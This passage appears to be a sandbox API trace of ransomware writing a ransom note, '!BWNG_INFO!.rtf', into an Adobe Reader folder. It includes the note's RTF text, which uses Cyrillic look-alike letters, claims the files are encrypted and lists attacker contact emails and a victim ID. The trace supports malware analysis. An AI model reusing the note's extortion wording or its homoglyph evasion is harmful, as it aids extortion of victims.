fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.907] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.908] CloseHandle (hObject=0x168) returned 1 [0041.908] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\!bwng_info!.rtf")) returned 0xffffffff [0041.908] GetLastError () returned 0x2 [0041.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 